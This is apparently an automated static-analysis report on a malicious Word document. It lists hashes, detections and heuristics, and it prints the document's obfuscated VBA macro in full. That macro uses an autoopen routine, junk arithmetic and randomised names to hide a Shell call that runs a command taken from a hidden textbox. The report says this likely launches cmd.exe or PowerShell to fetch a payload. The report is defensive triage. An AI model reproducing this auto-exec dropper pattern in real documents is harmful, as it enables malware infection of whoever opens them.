Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 048ebb47a751dec4…

MALICIOUS

Office (OLE)

83.6 KB Created: 2018-12-12 09:46:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 0fc61a000ec18641a02d9ab684afa249 SHA-1: e64ce062936829c46a93434730dff98e4fe7ed4d SHA-256: 048ebb47a751dec43ef6aa6792761aeb9f5c183b0fabed4bad6f2270afafd7ea
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1203 Exploitation for Client Execution

The sample contains VBA macros with an autoopen subroutine, which is a common technique for executing malicious code upon opening the document. Heuristics indicate the use of Shell() calls and suspicious invocations of cmd.exe and PowerShell, suggesting the macro is designed to download and execute a secondary payload. The ClamAV detection further supports its malicious nature.

Heuristics 10

  • ClamAV: Doc.Malware.Generic-6781658-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6781658-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
     _
.Shell(wlaqz, lwSpnj), zBcjjj)
   Set UqknbiUACtocvEELDFjzJmKk = jKXnpYwwJaCCwQkBsri
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
iwAqUnqHB
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8630 bytes
SHA-256: 873ad1944d393e7fe9a9fdfea7b9316b66e15d2fe425bfff0263258885c6d330
Detection
ClamAV: No threats found
Obfuscation or payload: likely
234 of 271 identifiers look randomly generated (e.g. 'PFbhmWwwaNXKNapvzBEjwmRK') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wtqMiNHj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
iwAqUnqHB
End Sub

Attribute VB_Name = "dwGYmwD"
Function iwAqUnqHB()
On Error Resume Next
   Set lmcrOnYFnbCESEajaFLpX = XjmdPSllbiUMibFjawG
      CTGowIhGYtlCKKOwFlYF = Sqr(BAUjGazbtfPjqYDZwj)
         lfNhzSBUMIaoXBM = 6255585 * Oct(mEqhhfiOVTTlKXHERT) * 268029468 * SWQEGnSSqshdXkmtqZEAiT - (185684054 + CLng(hjCkTkGhYMBQnmbuMLXdlpNa) * 243542335 * CBool(89783180))
   sPoFzuSWXkhzGmAFL = ChrW(WFEzKnXvwNsVbzGVNRjGC)
   Set rzJjIzBICOprvVLZsF = cjRCsGZifwCvwWRi
      SziPPnYlRZRjwGGprIoa = Sqr(RcjUWMzSqUdqhHtWuNssQbjH)
         jpwGHOdDjBWzutbZSaFntQz = 84278317 * Oct(zvvijpvbZpXDMjFAn) * 8706059 * WXzURSwAbTCQqjo - (66106170 + CLng(hUALbXVDEVGrznGPtp) * 311888697 * CBool(327146625))
   iPhoUIWZjTYZmSSAuvz = ChrW(QNwrJbjwBwtsMsDESWGP)
   Set wLzzWKUWjHzujlSfivtuUSZk = aUaQVaXSWDRmpow
      ujWMBOiiCzTAWc = Sqr(mOrwpuGOjcbNhAtpGvuZ)
         CYDMprNVGWwtXfYzsIGoU = 272970287 * Oct(aAziJJMFbCzjqojzCssaF) * 204369859 * JUVsOmolNNndMsIELu - (114360084 + CLng(ravhIIIDvbPfvjnNnR) * 328527212 * CBool(123530721))
   QjWCLXHuohjoKciZnjGilp = ChrW(zIhfFvQuwwharZfzkBJHuj)
   Set KqKwfATzwmMJZwFn = khBANtFVJdsZbXVOdDcPNuHv
      HPidZMzJUijlIzzF = Sqr(VWaXUOruvvcYipaGmFdb)
         kQtQHoodUGfKkZkUqnAmidR = 150062877 * Oct(lsGiWrUikkGhHMaDRapzO) * 328578704 * qmwRcoJHzWfVvhzwO - (76361599 + CLng(zodniaaiRCbZWncPrZar) * 275237305 * CBool(177944944))
   HKbqfVRcbliwbMwNqCGr = ChrW(XwJhSRHYnUpYLWc)
   Set CNwLNXVCEsXYocWjZw = ZFWohhaTCpALrwoZuYYXapQ
      pzamoPXbAYGNfZP = Sqr(nETMDhjZzCbIAZUjoPzh)
         ofnRZKTsauVJvkV = 148736806 * Oct(DHTAmlnOabDWZQ) * 169233220 * VwZfvdWNhZIGzEozNkLrN - (47994358 + CLng(tADzjPVBivbZlv) * 284818948 * CBool(59158022))
   kGTMcjPVmEJoEhTOwfi = ChrW(inzLYiKXfDDVblHHnpRTndw)
Const lwSpnj = 0
   Set VHqXiJqjqvsGjlAE = FOsONXOramWtkFvZrZzrzGz
      BWundosvWXwLIv = Sqr(kcfEWTmFqwhrLBN)
         wPoNrcbNltaXNIjQwSPOUCc = 236220233 * Oct(QEqwwjuIczwUiPHBR) * 124485787 * tOshMQvtlwawnEzbYkRp - (84678588 + CLng(PkLnwOCHNDjzqBXXifAn) * 59372185 * CBool(63103564))
   AJPkojQAdQNwHV = ChrW(UhrdlXNnOwDAGloZWFj)
   Set XSMiFwDLNazqNXbcZwCz = lGYMECIbHaBSdEokLDc
      FzwmbcCfoViNzFlMnWBvuj = Sqr(AwYkTnsNsaLVmKm)
         cAdnmwoTYSbzpCjtVtvqD = 292842085 * Oct(rvHlmnjzCAlZvRwTDHELA) * 78649507 * YqtSAtOwjjQlriLBfoTYwDd - (245449764 + CLng(YariwjifAjutVjFoEFp) * 201638461 * CBool(211123133))
   osGZXhnwUNIqbT = ChrW(NhDiFruQIJENkswnGv)
   Set EiFpnmPnbiIpWNWu = kMXFdiqrtMEzQuovr
      mmjdEGSfYkCIJmabhCrHb = Sqr(PwtZKqKoTufijIhHHQmzKFol)
         SXpMmDkHpXkjiw = 186871616 * Oct(jRHcfCStaubUdmKJHW) * 284978134 * UchqvWtkwXdTKcaohJ - (155697443 + CLng(FvlrcPiDNabIFJBGj) * 112299828 * CBool(217439818))
   IhzCRIKBLVcwwaO = ChrW(qqOfsqXVvVNBaTEQbOI)
   Set zzuiTqVFlHvnblwHzzjsaw = QjzjJUtFCEWHciQz
      RsmSAtEFGFTGZvP = Sqr(kduWGMkrBsiEiVYhCibhMuQq)
         iCPazdIHIsEVawEHuQIKAbl = 214601970 * Oct(DvUhnpNEicJVRCOazVdTLb) * 205037030 * ZRdIjrDRinvioZVCrR - (317192366 + CLng(umdOtjDFHMacQwIVLF) * 160227139 * CBool(253504875))
   smdGfmXAacufIbnnOOw = ChrW(wJWMTSqRzqmsJwCzzIOzjF)
   Set bEwuibzzhtqrcp = IijQCdIjpulKmGEFlzzho
      rCvNVPXDDnVqKDzEwXSU = Sqr(ztRKqcoFsfIsinh)
         pHtLmqzowwAGjAaOUV = 290120252 * Oct(iCimjzLINzfQRjJ) * 104643713 * IVIwcOuciYrEtYJvYqm - (194020437 + CLng(cofobzRkozrKpLz) * 234211293 * CBool(83328559))
   okKAYUDTYVVssW = ChrW(RfhdHBOdrtbzuDMKLMpztz)
   Set YOTZiJfROtwkJoTM = LUolGNwRDfrLBlzHqCGKSzur
      RzhEcAzflzWCYRBUIfdoGNH = Sqr(cSmMChMZwupQRMbfufQnbFSk)
         pKUQDlEpibJNkdD = 247784526 * Oct(FiblDvDwuawUXXABHNWsItIk) * 175934987 * lSRJCMBiznJTlPQSJKHUK - (26575309 + CLng(MdPjtnMVrKUJljl) * 160185264 * CBool(239180706))
   tYNsnbHbqkzdFXhJFf = ChrW(fIqmSRJRFfmYmXBRfvUqnZ)
   Set uAtMdWUtQMHArbMqR = zUJaAWZqZtstKnNrGOrcVk
      zuhwDdBqVBOVWETzXm = Sqr(wbAWBUnzUwzoQNwKjSZVNY)
         XsvSqmnOTpinuw = 157586352 * Oct(cQdjrWMzHYunjwQZXZcd) * 41346754 * zMhjfziZELInwF - (236985100 + CLng(KBjzKRsAiUZJPUVuZaTQzIq) * 86275840 * CBool(104569658))
   UiitBLpfObzIrfUjBLZYJ = ChrW(pONWmTsCLThczJVpTOTkG)
wlaqz = wtqMiNHj.TextBox1 + UXYfS + kHavO + zZHSH + JPLLJj + tUDRSX + HpYmi + hdwWiWfh + qbsOjF
   Set zZhhfUMXBIvThtFSvsuWohl = YkfqXiXncDwKlMSZAX
      ZtcRTwaqZqiGQoM = Sqr(upVATkIqiuvjjZV)
         RbLbwTLuzrwzwziWZD = 157003115 * Oct(iWmollnYBtGzUHoockLbd) * 182099496 * bmLrjLYHfBlruo - (152632887 + CLng(KjnsDlwcqIuuoswGCTKBZt) * 42828702 * CBool(86700367))
   lbwiQtAFuAvqjAqoiBYR = ChrW(TnFfobiVQQZZPRJAtaPu)
   Set RRqHOzXCQrqVhWpRNuXDt = lTujkinVKQTzjKzHOzhdmSc
      rMarKrwJrYjXNhNpOvhZBh = Sqr(iTGjZVQFTqHoXHvKSSKIKd)
         tjjsOrkCkKYvYDKYobS = 81643013 * Oct(GsphSkPHrZcBsMAqcBOj) * 259698821 * dzMXHHtVjrRtnntLvG - (141485279 + CLng(tlvufrKiMaDdtiOqVvdHNVsl) * 233926538 * CBool(337364131))
   MwQFINrisDRsPwLJGoo = ChrW(EYCqAdOhXsKLjR)
   Set zwYEPHjzzknZCSZXJsspnF = LcELimDjLhwbMzkK
      XQVWXiXFRGGGdRCtlMcLvC = Sqr(wBbsDrMYZhESXkpo)
         hFMfzdhPvhbnHzsVDZVvqTO = 31604801 * Oct(hYZzfJvXjdpphwXucIJlk) * 119187200 * LzTLTtCOrHzQEIQPYfQXV - (19240233 + CLng(WazBNKFTzOqNCMzcdhPw) * 223926356 * CBool(233033299))
   TlMslFUuMIRzkWsoDmoAB = ChrW(uNDaDnqGEzmriPBRT)
   Set PArovXOtCMlEMaQdGGuIZ = mzdOuzXHbHsojXpfnUMK
      FnfZmZhltuAKlNrLjdPVuk = Sqr(LXrtoaTZvOohLzpIaqWh)
         sizJzTHqzotUIUBu = 208760260 * Oct(KaUEvwjjNrVpfYDSSttkqHM) * 231332633 * avNCdnNuzMGsnjBdRFPVIJVQ - (282418039 + CLng(IBvCCOlGVBTdkE) * 53299006 * CBool(306752352))
   LzZfKsGZBwNpQZwLbiMwv = ChrW(rGjNzJnVLNNcKTQW)
   Set NQhwKqVPQPrwWuz = PMczzEWAVlfnGPwivsfpfB
      jsWbJHBfUoIAqDNGItjbZL = Sqr(IBTMDdPHKNZsFddNsUFLw)
         PFbhmWwwaNXKNapvzBEjwmRK = 55110783 * Oct(fjoGUAjKmNkWrtLLnLUv) * 102262028 * XzWEGSAcoRYIqP - (65670280 + CLng(tXaCocLbJKUmwFpNOd) * 57613414 * CBool(286593666))
   PtRKJZSzjDvBTSzUMOvlv = ChrW(wzNdjcLuNHSjdiJsiDsiaHZ)
   Set XzMHmqczvCMwFO = criYCmpBYunqjUX
      TpqFvijkoaLPTztQj = Sqr(DPivnQhwoNzztdXmsHPJLwIw)
         bbahZAWKmRIiYBaYzqVlo = 222049800 * Oct(shGmBXlEGkLLpGQPNcpGL) * 98293695 * UGpkNHnMvushzS - (94835850 + CLng(nAMBzMplRhbIJwbWdi) * 252249660 * CBool(209833670))
   mXwTYQRwZQwwGCFz = ChrW(FIQESjjfCwSWEVji)
   Set BMCKdEhtuISSlBdHQ = ZQoWhnTvKhjlbJQqTAiPbwbF
      YTSLAcaTpziZfiPq = Sqr(tAJJhJCvhdYAVbojJITBj)
         EIRmLhQnVTZsEbwE = 287374062 * Oct(PPSzCSUWtqWVvowj) * 315619785 * ruzUiuHEbcWMnF - (112657400 + CLng(lTrEGwSpoaRzXkuV) * 206937185 * CBool(312525896))
   wMvlYszrrzjCRElC = ChrW(rrutcIjEcHjqiBhrsUzp)
   Set ILvQXAQEUOHEZtTLBTBV = wEiFKMQGjSDlJK
      bPNoNksjutVzksIFX = Sqr(cJGRLMozzlwETQjEjlFMH)
         FVkLoOjNaMjDjAIKE = 9602988 * Oct(NnHmqZFOfIXALZ) * 89475910 * khzXZTjLkYPkjv - (166481729 + CLng(EMtbwjtljAAECLUiSwXd) * 37955373 * CBool(197545259))
   uDwCSKVfkjrvzfmGBnN = ChrW(ZSiIYDlRnXwaamzXBjbbOV)
   Set qaztaBXcrGRrHMbLzVSGJQj = mqzTYVsqbGUwkumuA
      tjkaRUABznARja = Sqr(hHjBEDVNaQBrdaCiXFHWAhM)
         fSXYFqKWuEDnDsvwXSK = 63365290 * Oct(cWavEcLcEszvKWljz) * 53916936 * GizYXOffKIwhXCJCwwdAO - (335916937 + CLng(qLEssWJSaKbDlfzDjYzAUFL) * 183420660 * CBool(295001732))
   TpjUHUHkHMSWmI = ChrW(pXXwzXXwswcRwZ)
dPhZw = Array(osQiJCw, XQYiPHU, QoVTwZVuQ, Interaction _
 _
 _
 _
 _
 _
 _
 _
.Shell(wlaqz, lwSpnj), zBcjjj)
   Set UqknbiUACtocvEELDFjzJmKk = jKXnpYwwJaCCwQkBsri
      qZOzQdrfzmijANrYzMM = Sqr(pjldCIHozvQucKjKva)
         MjTwXrVCjZLEfiNlJok = 309251415 * Oct(WCjDVoEpihdWoAo) * 143169820 * NmjFYPnrkPOZZVKfQqdmt - (11106316 + CLng(RNErihriZPZawO) * 13547734 * CBool(328519288))
   sMkYpQEMSrYJKirMjOsTYF = ChrW(tkpJAuMQOsqujQic)
   Set JXGZYJfGjYwGzWnRiMIdVfwE = SJFuPCbBEuNEKcCpVkzhd
      LPTwZAwcibCpFzZLTVWFscZM = Sqr(kFozvzWGWwpaSdaFbQm)
         UWCQKQbLXDipGY = 269121861 * Oct(HdibjjjBjkBrvzRLnKDNCYpf) * 156274884 * iSPATuofzwhKVlmB - (211951757 + CLng(PkPXmWCwVatjoDDVARm) * 234879440 * CBool(110464152))
   CQCSicoRbBrPPnv = ChrW(fszXYNlNKiHAlVOw)
   Set SjzPEOcGiZqcpzOJOHEv = YTKONMVwhQYZdllILGCrhfV
      JGVifGTKiktNmBqBG = Sqr(zJRDLLdACBCEKtz)
         EHrrSbwNutrXVJPAlZhMwGuJ = 8578876 * Oct(DRIaaAPrzjKOpVMEISTF) * 203201637 * mBTkLlzzMhqoYfFUSqIiMfq - (147602047 + CLng(MzszcpwzKfGGqpiszXdYB) * 324057133 * CBool(222115963))
   oAdzAjGKzAzlGzkruoOzwNbB = ChrW(mMINziORtIbMzzdYvJpq)
End Function

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